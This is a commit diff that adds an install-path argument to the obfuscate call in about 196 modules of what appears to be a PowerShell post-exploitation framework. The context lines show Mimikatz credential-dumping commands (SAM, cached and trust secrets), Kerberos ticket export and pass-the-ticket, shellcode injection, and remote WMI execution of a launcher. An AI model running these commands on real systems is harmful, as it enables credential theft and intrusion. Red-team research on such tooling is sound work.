Updated obfuscate function arguments in all powershell modules

websockets-multiuser
xorrior 2017-10-20 23:16:19 -04:00
parent fcc6eb02e5
commit 2c7d62593b
196 changed files with 210 additions and 210 deletions

View File

@ -88,6 +88,6 @@ class Module:
scriptEnd += " -" + str(option) + " " + str(values['Value']) scriptEnd += " -" + str(option) + " " + str(values['Value'])
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -72,6 +72,6 @@ class Module:
else: else:
scriptEnd += " -" + str(option) + " " + str(values['Value']) scriptEnd += " -" + str(option) + " " + str(values['Value'])
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -127,6 +127,6 @@ class Module:
scriptEnd += " -" + str(option) + " " + str(values['Value']) scriptEnd += " -" + str(option) + " " + str(values['Value'])
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -145,6 +145,6 @@ class Module:
scriptEnd += "; 'Shellcode injected.'" scriptEnd += "; 'Shellcode injected.'"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -89,6 +89,6 @@ class Module:
sc = ",0".join(values['Value'].split("\\"))[1:] sc = ",0".join(values['Value'].split("\\"))[1:]
scriptEnd += " -" + str(option) + " @(" + sc + ")" scriptEnd += " -" + str(option) + " @(" + sc + ")"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -103,6 +103,6 @@ class Module:
else: else:
scriptEnd += " -" + str(option) + " " + str(values['Value']) scriptEnd += " -" + str(option) + " " + str(values['Value'])
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -107,6 +107,6 @@ class Module:
else: else:
scriptEnd += " -" + str(option) + " " + str(values['Value']) scriptEnd += " -" + str(option) + " " + str(values['Value'])
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -79,6 +79,6 @@ class Module:
else: else:
scriptEnd += " -" + str(option) + " " + str(values['Value']) scriptEnd += " -" + str(option) + " " + str(values['Value'])
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -216,5 +216,5 @@ Start-WebcamRecorder"""
else: else:
script += " -" + str(option) + " " + str(values['Value']) script += " -" + str(option) + " " + str(values['Value'])
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -103,6 +103,6 @@ class Module:
scriptEnd += " -" + str(option) + " " + str(values['Value']) scriptEnd += " -" + str(option) + " " + str(values['Value'])
scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -89,6 +89,6 @@ class Module:
else: else:
scriptEnd += " -" + str(option) + " " + str(values['Value']) scriptEnd += " -" + str(option) + " " + str(values['Value'])
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -162,5 +162,5 @@ class Module:
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -127,5 +127,5 @@ class Module:
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -88,6 +88,6 @@ class Module:
scriptEnd += " | ?{!($_.ITEMURL -like '*AppData*')} | Select-Object ITEMURL, COMPUTERNAME, FILEOWNER, SIZE, DATECREATED, DATEACCESSED, DATEMODIFIED, AUTOSUMMARY" scriptEnd += " | ?{!($_.ITEMURL -like '*AppData*')} | Select-Object ITEMURL, COMPUTERNAME, FILEOWNER, SIZE, DATECREATED, DATEACCESSED, DATEMODIFIED, AUTOSUMMARY"
scriptEnd += " | fl | Out-String;" scriptEnd += " | fl | Out-String;"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -114,6 +114,6 @@ class Module:
if no_defaults: if no_defaults:
scriptEnd += " -NoDefaults " scriptEnd += " -NoDefaults "
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -89,6 +89,6 @@ class Module:
scriptEnd += " -Instance "+instance scriptEnd += " -Instance "+instance
scriptEnd += " -Query "+"\'"+query+"\'" scriptEnd += " -Query "+"\'"+query+"\'"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -232,6 +232,6 @@ class Module:
else: else:
scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\"" scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -77,6 +77,6 @@ class Module:
else: else:
scriptEnd += " -" + str(option) + " " + str(values['Value']) scriptEnd += " -" + str(option) + " " + str(values['Value'])
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -98,6 +98,6 @@ class Module:
if option != "Agent" and option != "ProcessName" and option != "ProcessId": if option != "Agent" and option != "ProcessName" and option != "ProcessId":
scriptEnd += " -" + str(option) + " " + str(values['Value']) scriptEnd += " -" + str(option) + " " + str(values['Value'])
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -117,6 +117,6 @@ class Module:
scriptEnd += ";'Invoke-NetRipper completed.'" scriptEnd += ";'Invoke-NetRipper completed.'"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -103,6 +103,6 @@ class Module:
scriptEnd += "; Write-Output 'Invoke-NinjaCopy Completed'" scriptEnd += "; Write-Output 'Invoke-NinjaCopy Completed'"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -90,5 +90,5 @@ class Module:
if persistent != "": if persistent != "":
script += " persistent=yes" script += " persistent=yes"
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -120,5 +120,5 @@ Invoke-Prompt """
else: else:
script += " -" + str(option) + " \"" + str(values['Value'].strip("\"")) + "\"" script += " -" + str(option) + " \"" + str(values['Value'].strip("\"")) + "\""
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -115,5 +115,5 @@ Get-Screenshot"""
else: else:
script += " -" + str(option) + " " + str(values['Value']) script += " -" + str(option) + " " + str(values['Value'])
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -118,6 +118,6 @@ class Module:
scriptEnd += "\nFind-KeePassconfig | Get-KeePassConfigTrigger " scriptEnd += "\nFind-KeePassconfig | Get-KeePassConfigTrigger "
scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -90,6 +90,6 @@ class Module:
scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -90,6 +90,6 @@ class Module:
scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -90,6 +90,6 @@ class Module:
scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -92,6 +92,6 @@ class Module:
scriptEnd += "\nFind-KeePassconfig | Remove-KeePassConfigTrigger " scriptEnd += "\nFind-KeePassconfig | Remove-KeePassConfigTrigger "
scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' scriptEnd += ' | Format-List | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -151,6 +151,6 @@ class Module:
else: else:
scriptEnd += " -" + str(option) + " " + str(values['Value']) scriptEnd += " -" + str(option) + " " + str(values['Value'])
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -54,6 +54,6 @@ class Module:
scriptEnd = "\n%s" %(scriptCmd) scriptEnd = "\n%s" %(scriptCmd)
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -124,6 +124,6 @@ class Module:
scriptEnd += '| fl | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' scriptEnd += '| fl | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -76,6 +76,6 @@ class Module:
scriptEnd += "'\"token::elevate\" \"lsadump::cache\" \"token::revert\"';" scriptEnd += "'\"token::elevate\" \"lsadump::cache\" \"token::revert\"';"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -73,6 +73,6 @@ class Module:
# add in the cert dumping command # add in the cert dumping command
scriptEnd = """Invoke-Mimikatz -Command 'crypto::capi privilege::debug crypto::cng "crypto::certificates /systemstore:local_machine /store:root /export"' """ scriptEnd = """Invoke-Mimikatz -Command 'crypto::capi privilege::debug crypto::cng "crypto::certificates /systemstore:local_machine /store:root /export"' """
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -79,6 +79,6 @@ class Module:
scriptEnd = "Invoke-Mimikatz -Command " scriptEnd = "Invoke-Mimikatz -Command "
scriptEnd += "'\"" + self.options['Command']['Value'] + "\"'" scriptEnd += "'\"" + self.options['Command']['Value'] + "\"'"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -100,6 +100,6 @@ class Module:
scriptEnd += "\"';" scriptEnd += "\"';"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -109,6 +109,6 @@ class Module:
scriptEnd += "| Out-String;" scriptEnd += "| Out-String;"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -72,6 +72,6 @@ class Module:
scriptEnd = "Invoke-Mimikatz -Command '\"standard::base64\" \"kerberos::list /export\"'" scriptEnd = "Invoke-Mimikatz -Command '\"standard::base64\" \"kerberos::list /export\"'"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -150,6 +150,6 @@ class Module:
scriptEnd += " /ptt\"'" scriptEnd += " /ptt\"'"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -78,6 +78,6 @@ class Module:
if values['Value'] and values['Value'] != '': if values['Value'] and values['Value'] != '':
scriptEnd += " -" + str(option) + " " + str(values['Value']) scriptEnd += " -" + str(option) + " " + str(values['Value'])
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -86,6 +86,6 @@ class Module:
scriptEnd += "\"';" scriptEnd += "\"';"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -137,6 +137,6 @@ class Module:
scriptEnd += "\"';" scriptEnd += "\"';"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -126,6 +126,6 @@ class Module:
scriptEnd += ';"`nUse credentials/token to steal the token of the created PID."' scriptEnd += ';"`nUse credentials/token to steal the token of the created PID."'
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -74,6 +74,6 @@ class Module:
# set the purge command # set the purge command
scriptEnd = "Invoke-Mimikatz -Command '\"kerberos::purge\"'" scriptEnd = "Invoke-Mimikatz -Command '\"kerberos::purge\"'"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -76,6 +76,6 @@ class Module:
scriptEnd += "'\"token::elevate\" \"lsadump::sam\" \"token::revert\"';" scriptEnd += "'\"token::elevate\" \"lsadump::sam\" \"token::revert\"';"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -162,6 +162,6 @@ class Module:
scriptEnd += " /ptt\"'" scriptEnd += " /ptt\"'"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -80,6 +80,6 @@ class Module:
else: else:
scriptEnd += "Invoke-Mimikatz -Command '\"lsadump::trust /patch\"'" scriptEnd += "Invoke-Mimikatz -Command '\"lsadump::trust /patch\"'"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -70,6 +70,6 @@ class Module:
scriptEnd = "Invoke-PowerDump" scriptEnd = "Invoke-PowerDump"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -136,6 +136,6 @@ class Module:
else: else:
scriptEnd += " -" + str(option) + " " + str(values['Value']) scriptEnd += " -" + str(option) + " " + str(values['Value'])
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -155,6 +155,6 @@ class Module:
if self.options['RevToSelf']['Value'].lower() != "true": if self.options['RevToSelf']['Value'].lower() != "true":
scriptEnd += ';"`nUse credentials/tokens with RevToSelf option to revert token privileges"' scriptEnd += ';"`nUse credentials/tokens with RevToSelf option to revert token privileges"'
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -73,6 +73,6 @@ class Module:
scriptEnd = "Get-VaultCredential" scriptEnd = "Get-VaultCredential"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -119,6 +119,6 @@ class Module:
else: else:
scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\"" scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -110,6 +110,6 @@ class Module:
else: else:
scriptEnd += " -" + str(option) + " " + str(values['Value']) scriptEnd += " -" + str(option) + " " + str(values['Value'])
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -95,6 +95,6 @@ class Module:
scriptEnd += " -Cmd " + command scriptEnd += " -Cmd " + command
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -193,6 +193,6 @@ class Module:
else: else:
scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\"" scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -131,6 +131,6 @@ class Module:
scriptEnd += "| Out-String | %{$_ + \"`n\"};" scriptEnd += "| Out-String | %{$_ + \"`n\"};"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -185,6 +185,6 @@ class Module:
scriptEnd += " | Out-String" scriptEnd += " | Out-String"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -146,6 +146,6 @@ class Module:
scriptEnd += "| Out-String | %{$_ + \"`n\"};" scriptEnd += "| Out-String | %{$_ + \"`n\"};"
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -136,5 +136,5 @@ class Module:
script += ";'Invoke-PSRemoting executed on " +computerNames +"'" script += ";'Invoke-PSRemoting executed on " +computerNames +"'"
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -132,6 +132,6 @@ class Module:
if password != "": if password != "":
scriptEnd += " -Password "+password scriptEnd += " -Password "+password
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -123,6 +123,6 @@ class Module:
else: else:
scriptEnd += " -" + str(option) + " " + str(values['Value']) scriptEnd += " -" + str(option) + " " + str(values['Value'])
if obfuscate: if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd script += scriptEnd
return script return script

View File

@ -145,5 +145,5 @@ class Module:
script += ";'Invoke-Wmi executed on " +computerNames +"'" script += ";'Invoke-Wmi executed on " +computerNames +"'"
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -187,6 +187,6 @@ class Module:
script += ";'Invoke-Wmi executed on " +computerNames + statusMsg+"'" script += ";'Invoke-Wmi executed on " +computerNames + statusMsg+"'"
if obfuscate: if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
return script return script

View File

@ -121,6 +121,6 @@ class Module:
scriptEnd += " -Port "+str(self.options['Port']['Value']) scriptEnd += " -Port "+str(self.options['Port']['Value'])
scriptEnd += " -Cmd \"" + launcher + "\"" scriptEnd += " -Cmd \"" + launcher + "\""
if obfuscate: if obfuscate:
